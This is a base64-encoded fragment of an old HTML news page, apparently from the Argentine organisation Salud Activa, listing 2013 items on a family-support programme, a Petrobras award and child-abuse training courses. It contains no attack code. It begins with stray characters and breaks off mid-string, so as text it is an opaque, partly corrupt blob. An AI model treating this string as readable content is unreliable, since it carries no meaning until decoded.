BOSdFPUyBZIE5J0UFTISEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPjxiciAvPjwvc3Bhbj48L3N0cm9uZz48L3A+DQo8cD48c3Ryb25nPjxzcGFuIHN0eWxlPSJ0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsiPlBST0dSQU1BIEZBTUlMSUFTIFNPTElEQVJJQVM8L3NwYW4+PC9zdHJvbmc+PC9wPg0KPHA+PHN0cm9uZz5DQU1CSU8gREUgU0VERTwvc3Ryb25nPjwvcD4NCjxwPkxhIGNhcGFjaXRhY2kmb2FjdXRlO24gcGFyYSBsYSBwdWVzdGEgZW4gbWFyY2hhIGRlbCA8c3Ryb25nPlByb2dyYW1hIEZhbWlsaWFzIFNvbGlkYXJpYXM8L3N0cm9uZz4gc2UgcmVhbGl6YXImYWFjdXRlOyBlbiBsYSBsb2NhbGlkYWQgZGUgPHN0cm9uZz5OYXZhcnJvPC9zdHJvbmc+IHBhcmEgdG9kbyBlbCBjb3JyZWRvciBkZSBsYSBSdXRhIDQwLjwvcD4NCjxwPkluaWNpbyA8c3Ryb25nPk1pJmVhY3V0ZTtyY29sZXMgMjggZGUgYWdvc3RvIGEgbGFzIDE0IGhvcmFzLiZuYnNwOzwvc3Ryb25nPjwvcD4NCjxwPlNlZGU6IDxzdHJvbmc+U2FsJm9hY3V0ZTtuIE11bmljaXBhbCBlbiBsYSBjYWxsZSAxMDcgZXNxdWluYSAyMiAtIE5hdmFycm88L3N0cm9uZz48L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA4Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXN